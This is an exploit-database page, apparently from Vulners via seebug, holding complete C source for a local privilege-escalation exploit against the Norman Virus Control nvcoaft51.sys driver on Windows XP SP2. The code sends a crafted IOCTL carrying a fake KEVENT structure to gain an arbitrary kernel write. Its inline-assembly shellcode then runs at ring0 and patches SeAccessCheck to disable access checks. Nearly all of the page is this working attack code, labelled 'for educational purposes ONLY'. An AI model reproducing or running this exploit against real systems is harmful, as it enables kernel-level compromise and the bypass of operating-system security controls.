Lucene search
K

Norman Virus Control nvcoaft51.sys ioctl BF672028 Exploit

🗓️ 31 Aug 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

Norman Virus Control nvcoaft51.sys ioctl BF672028 Exploit. Driver vulnerability allows user to execute code at ring0 level on Windows XP SP2

Code

                                                /*
  Norman Virus Control nvcoaft51.sys ioctl BF672028 exploit


  Abstract
  nvcoaft51.sys driver receive as parameter in some ioctl's
  a pointer to a KEVENT struct, calling KeSetEvent without
  any prior check. 
  The device created by the driver (NvcOa) can be opened by 
  any user.
  As result, a user can send a IOCTL with a fake KEVENT 
  struct and finish executing code at ring0

  Author
  inocraM - inocram[at]48bits[dot]com
  48bits I+D team
  www.48bits.com

  OS
  Tested against Windows XP SP2 (spanish) with a PAE kernel.
  
  For educational purposes ONLY

*/

#define _CRT_SECURE_NO_DEPRECATE
#include <windows.h>
#include <stdio.h>

#define XPLT_KEVENT_IOCTL             0xbf672028 


/* PSAPI */
typedef BOOL  (WINAPI * ENUM_DEVICE_DRIVERS)(LPVOID* lpImageBase,DWORD cb,LPDWORD lpcbNeeded);
typedef DWORD (WINAPI * GET_DEVICE_DRIVER_BASE_NAME)(LPVOID ImageBase,LPSTR lpBaseName,DWORD nSize);

typedef struct _PS
{
  HMODULE hLib;
  ENUM_DEVICE_DRIVERS pEnumDeviceDrivers;
  GET_DEVICE_DRIVER_BASE_NAME pGetDeviceDriverBaseName;
}PS, *PPS;


VOID
psUnload(PPS pps)
{
  if(pps)
  {
    if(pps->hLib)
    {
      FreeLibrary(pps->hLib);
    }
    free(pps);
  }
}

PPS
psLoad()
{
  PPS pps;

  pps = (PPS) malloc(sizeof(PS));
  if(pps)
  {
    pps->hLib = LoadLibraryA("psapi");
    if(pps->hLib)
    {
      pps->pEnumDeviceDrivers = (ENUM_DEVICE_DRIVERS)GetProcAddress(pps->hLib, "EnumDeviceDrivers");
      pps->pGetDeviceDriverBaseName = (GET_DEVICE_DRIVER_BASE_NAME)GetProcAddress(pps->hLib,"GetDeviceDriverBaseNameA");
      if(!pps->pEnumDeviceDrivers || !pps->pGetDeviceDriverBaseName)
      {
        psUnload(pps);
        pps = NULL;
      }
    }
    else
    {
      free(pps);
      pps = NULL;
    }
  }
  return pps;
}


BOOL  
psEnumDeviceDrivers(PPS pps, LPVOID* lpImageBase,DWORD cb,LPDWORD lpcbNeeded)
{
  return pps->pEnumDeviceDrivers(lpImageBase, cb, lpcbNeeded);
}

DWORD 
psGetDeviceDriverBaseName(PPS pps, LPVOID ImageBase,LPSTR lpBaseName,DWORD nSize)
{
  return pps->pGetDeviceDriverBaseName(ImageBase, lpBaseName, nSize);
}

LPVOID
psGetImageBaseByBaseName(PPS pps, LPCSTR szName)
{
  DWORD dwSize = 0;
  LPVOID *pDevices = NULL;
  LPVOID pResult = NULL;

  if(psEnumDeviceDrivers(pps, NULL, 0, &dwSize) && (dwSize > 0))
  {
    pDevices = (LPVOID*)malloc(dwSize);
    if(pDevices)
    {
      if(psEnumDeviceDrivers(pps, pDevices, dwSize, &dwSize))
      {
        DWORD i = 0;
        DWORD dwNumberOfDrivers;

        dwNumberOfDrivers = dwSize / sizeof(LPVOID);
        while((i < dwNumberOfDrivers) && (NULL == pResult))
        {
          char szBaseName[MAX_PATH];

          if(psGetDeviceDriverBaseName(pps, pDevices[i], szBaseName, sizeof(szBaseName)))
          {
            if(!_stricmp(szBaseName,szName))
            {
              pResult = pDevices[i];
            }
          }
          i++;
        }
      }
      free(pDevices);
    }
  }
  return pResult;
}

/* OS detection */
#define OS_VERSION_UNKNOWN      0x00000000
#define OS_VERSION_NT           0x00010000
#define OS_VERSION_9X           0x00020000
#define OS_VERSION_WIN32S       0x00030000
#define OS_VERSION_NT4          OS_VERSION_NT + 0x00001000
#define OS_VERSION_2K           OS_VERSION_NT + 0x00002000
#define OS_VERSION_XP           OS_VERSION_NT + 0x00003000
#define OS_VERSION_2K3          OS_VERSION_NT + 0x00004000
#define OS_VERSION_VISTA        OS_VERSION_NT + 0x00005000
#define OS_VERSION_95           OS_VERSION_9X + 0x00001000
#define OS_VERSION_98           OS_VERSION_9X + 0x00002000
#define OS_VERSION_ME           OS_VERSION_9X + 0x00003000


DWORD
GetWindows9xVersion(POSVERSIONINFOEXA posvi)
{
  DWORD dwVersion;

  if(posvi->dwMajorVersion == 4)
  {
    switch(posvi->dwMinorVersion)
    {
    case 0:
      dwVersion = OS_VERSION_95;
      break;
    case 10:
      // TODO : we need extra code. this can be Windows ME
      dwVersion = OS_VERSION_98;
      break;
    case 90:
      dwVersion = OS_VERSION_ME;
      break;
    default:
      dwVersion = OS_VERSION_UNKNOWN;
    }
  }
  else
  {
    dwVersion = OS_VERSION_UNKNOWN;
  }
  return dwVersion;
}


DWORD
GetWindowsNtVersion(POSVERSIONINFOEXA posvi, PUINT pServicePack)
{
  DWORD dwVersion;

  switch(posvi->dwMajorVersion)
  {
  case 6: 
    dwVersion = OS_VERSION_VISTA;
    break;
  case 5:
    switch(posvi->dwMinorVersion)
    {
    case 2:
      dwVersion = OS_VERSION_2K3;
      break;
    case 1:
      dwVersion = OS_VERSION_XP;
      break;
    case 0:
      dwVersion = OS_VERSION_2K;
      break;
    default:
      dwVersion = OS_VERSION_UNKNOWN;
    }
    break;
  case 4:
  case 3:
  case 2:
  case 1:
  case 0:
    dwVersion = OS_VERSION_NT4;
    break;
  default:
    dwVersion = OS_VERSION_UNKNOWN;
  }

  // TODO : dont work correctly in various windows Versions. fix it.
  if((OS_VERSION_UNKNOWN != dwVersion) && (NULL != pServicePack))
  {
    if(sizeof(OSVERSIONINFOEXA) == posvi->dwOSVersionInfoSize)
    {
      (*pServicePack) = posvi->wServicePackMajor;
    }
    else
    {
      // TODO : parse szCSDVersion
    }
  }
  return dwVersion;
}

// TODO : doesnt find correct SP for various windows versions, fix! 
DWORD
GetWindowsVersionBase(PUINT pServicePack)
{
  OSVERSIONINFOEXA osvi;
  DWORD dwVersion;

  if(pServicePack)
  {
    (*pServicePack) = 0;
  }
  memset(&osvi, 0, sizeof(OSVERSIONINFOEXA));
  osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXA);
  if(FALSE == GetVersionExA((LPOSVERSIONINFOA)&osvi))
  {
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);
    if(!GetVersionExA((LPOSVERSIONINFOA)&osvi))
    {
      return OS_VERSION_UNKNOWN;
    }
  }
  switch(osvi.dwPlatformId)
  {
  case VER_PLATFORM_WIN32_NT:
    dwVersion = GetWindowsNtVersion(&osvi, pServicePack);
    break;
  case VER_PLATFORM_WIN32_WINDOWS:
    dwVersion = GetWindows9xVersion(&osvi);
    break;
  case VER_PLATFORM_WIN32s:
    dwVersion = OS_VERSION_WIN32S;
    break;
  default:
    dwVersion = OS_VERSION_UNKNOWN;
  }
  return dwVersion;
}

DWORD
GetWindowsVersion(PUINT pServicePack)
{
  static BOOL bFirstCall = TRUE;
  static DWORD OsVersion;
  static UINT ServicePack;

  if(bFirstCall)
  {
    OsVersion = GetWindowsVersionBase(&ServicePack);
    bFirstCall = FALSE;
  }
  if(pServicePack)
  {
    (*pServicePack) = ServicePack;
  }
  return OsVersion;
}



HANDLE
OpenDevice(LPCSTR szDevice, DWORD dwDesiredAccess, DWORD dwShareMode)
{
  return CreateFileA(szDevice,dwDesiredAccess,dwShareMode,NULL,OPEN_EXISTING,0,NULL);
}

VOID
CloseDevice(HANDLE hDevice)
{
  CloseHandle(hDevice);
}


BOOL
xpltCheckWindowsVersion()
{
  DWORD dwOsVersion;
  BOOL bResult = FALSE;
  UINT ServicePack;

  printf("(*)Checking OS Version...\n");
  dwOsVersion = GetWindowsVersion(&ServicePack);
  if((OS_VERSION_XP == dwOsVersion) && (ServicePack == 2))
  {
    printf("(+)Detected Windows XP SP2.\n");
    bResult = TRUE;
  }
  else
  {
    printf("(-)This exploit only runs on Windows XP SP2. Sorry.\n");
  }
  return bResult;
}

HANDLE
xpltOpenNvc0a()
{
  HANDLE hDevice;

  printf("(*)Opening NvcOa device...\n");
  hDevice = OpenDevice("\\\\.\\NvcOa", GENERIC_READ + GENERIC_WRITE, 0);
  if(INVALID_HANDLE_VALUE != hDevice)
  {
    printf("(+)Successfully opened NvcOa.\n");
  }
  else
  {
    printf("(-)Unable to open NvcOa. Sorry.\n");
  }
  return hDevice;
}

VOID
xpltCloseNvc0a(HANDLE hDevice)
{
  CloseDevice(hDevice);
  printf("(+)NvcOa device closed.\n");
}

PPS
xpltInitializePsApi()
{
  PPS pps;
  printf("(*)Loading PSAPI...\n");
  pps = psLoad();
  if(NULL != pps)
  {
    printf("(+)PSAPI loaded OK.\n");
  }
  else
  {
    printf("(-)Unable to load PSAPI. Sorry.\n");
  }
  return pps;
}

VOID
xpltFreePsApi(PPS pps)
{
  psUnload(pps);
  printf("(+)PSAPI Unloaded.\n");
}


LPBYTE
xpltGetKernelBase(PPS pps, PBOOL pbPaeKernel)
{
  LPBYTE pKernelBase;

  printf("(*)Looking for NTOSKRNL base...\n");
  (*pbPaeKernel) = FALSE;
  pKernelBase = (LPBYTE) psGetImageBaseByBaseName(pps, "NTOSKRNL.EXE");
  if(pKernelBase)
  {
    printf("(+)NTOSKRNL base found at %#x.\n",pKernelBase);
  }
  else
  {
    pKernelBase = (LPBYTE) psGetImageBaseByBaseName(pps, "NTKRNLPA.EXE");
    if(pKernelBase)
    {
      printf("(+)NTOSKRNL(PAE) base found at %#x.\n",pKernelBase);
      if(pbPaeKernel)
      {
        (*pbPaeKernel) = TRUE;
      }
    }
    else
    {
      printf("(-)Unable to find NTOSKRNL base. Sorry.\n");
    }
  }
  return pKernelBase;
}


/* 
   when the ioctl with a fake event structure is sent
   a dword with the opcode "jmp[ecx]" is written and
   this code is reached.
   Be careful writing your own shellcode. Remember that
   u are at DPC level
*/
__declspec(naked)
void 
xpltPatchAndGo (void)
{
  __asm
  {
    add esp,4
    pop esi                                   /* get a return addr to use as reference */ 
    mov dword ptr[esi-0x60], 0x8B047289       /* patch the jmp[ecx] with the correct code */
    mov word ptr[esi+0xE5303], 0x9090         /* patch SeAccessCheck :o) */
    mov esp, ebp                              /* reconstruct the stack */
    add esp, 0x10       
    xor bl, bl                                /* set IRQL value */
    xor edi, edi                              /* set return value */                       
    sub esi, 0x759F                            
    push esi                                  /* set retun address... */
    ret                                       /* and go */
  }

}

VOID
xpltExecuteExploit(HANDLE hDevice, PBYTE pNtosBase, BOOL bPaeKernel)
{

#ifdef _DEBUG
  DebugBreak();
#endif

  if(!bPaeKernel)
  {
    printf("(-)This exploit is only runs on a PAE kernel system. Sorry.\n");
  }
  else
  {
    DWORD dwReturnedBytes;
    DWORD Buffer[1024];                             /* user buffer size is not checked         */
                                                    /* properly so i use a big enough  buffer  */
                                                    /* and i  dont worry abaut it              */

    DWORD Event[31];                                /* our event struct                        */

    printf("(*)Trying to exploit the NvCoaft51 KeSetEvent vuln...\n");
    printf("(*)Writing fake event struct...\n");

    *(BYTE*)Event = 1;                              /* set event type as Synchronization Event */

    Event[2] = (DWORD)&(Event[3]);                  /* set event wait list as not empty so in  */
                                                    /* event[3] start the first  wait block    */

    Event[3] = (DWORD)&(Event[4]);                  /* set first element of the wait list      */
                                                    /* event[4]  will be our wait block        */

    ((WORD*)Event)[17] = 1;                         /* set the wait block type to WaitAny      */

    Event[5] = (DWORD)&(Event[7]);                  /* set the trhead for the wait block, so   */
                                                    /* event[7] will be our thread start       */

    Event[7] = (DWORD)xpltPatchAndGo;               /* i put the shellcode addr on the first   */
                                                    /* dword of the thread. This value is not  */
                                                    /* checked by KeSetEvent related code, and */
                                                    /* the event struct will remain referenced */
                                                    /* by ecx,so writing a jmp[ecx] the        */
                                                    /* shellocde will be reached               */


    Event[30] = (DWORD)&(Event[10]);                /* fill thread wait block list with data   */
                                                    /* so in event[10] start this wait block.  */
                                                    /* First two dwords of the kwait block     */
                                                    /* struct are a list entry. system will    */
                                                    /* try to remove a item from this double   */
                                                    /* linked list, and as consecuence, we     */
                                                    /* can write an arbitrary dword at any     */
                                                    /* address                                 */


    Event[10] = 0x000021FF;                         /* first entry will be a opcode, jmp[ecx]  */

    Event[11] = (DWORD)(pNtosBase + 0x291B4);       /* second entry will be the address of th  */
                                                    /* next opcode addr, and as result we will */
                                                    /* jmp to our shellcode                    */


    Buffer[0] = (DWORD)(((PBYTE)(&Event)) - 0x84C); /* store our "event" in the ioctl buffer   */
                                                    /* and explit it :o)                       */

    printf("(*)Sending IOCTL...\n");
    DeviceIoControl(hDevice,XPLT_KEVENT_IOCTL,Buffer,sizeof(Buffer),Buffer,sizeof(Buffer),&dwReturnedBytes,NULL);
    printf("(+)IOCT sent. SeAccessCheck is now patched???\n");
  }
}


VOID
xpltExecute()
{
  if(xpltCheckWindowsVersion())
  {
    PPS pps;

    pps = xpltInitializePsApi();
    if(NULL != pps)
    {
      LPBYTE pKernelBase;
      BOOL bPaeKernel;

      pKernelBase = xpltGetKernelBase(pps,&bPaeKernel);
      if(NULL != pKernelBase)
      {
        HANDLE hDevice;

        hDevice = xpltOpenNvc0a();
        if(INVALID_HANDLE_VALUE != hDevice)
        {
          xpltExecuteExploit(hDevice, pKernelBase, bPaeKernel);
          xpltCloseNvc0a(hDevice);
        }
      }
      xpltFreePsApi(pps);
    }
  }
}

int main(int argc, char * argv[])
{
  UNREFERENCED_PARAMETER(argc);
  UNREFERENCED_PARAMETER(argv);

#ifdef _DEBUG
  DebugBreak();
#endif

  xpltExecute();
  return 0;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation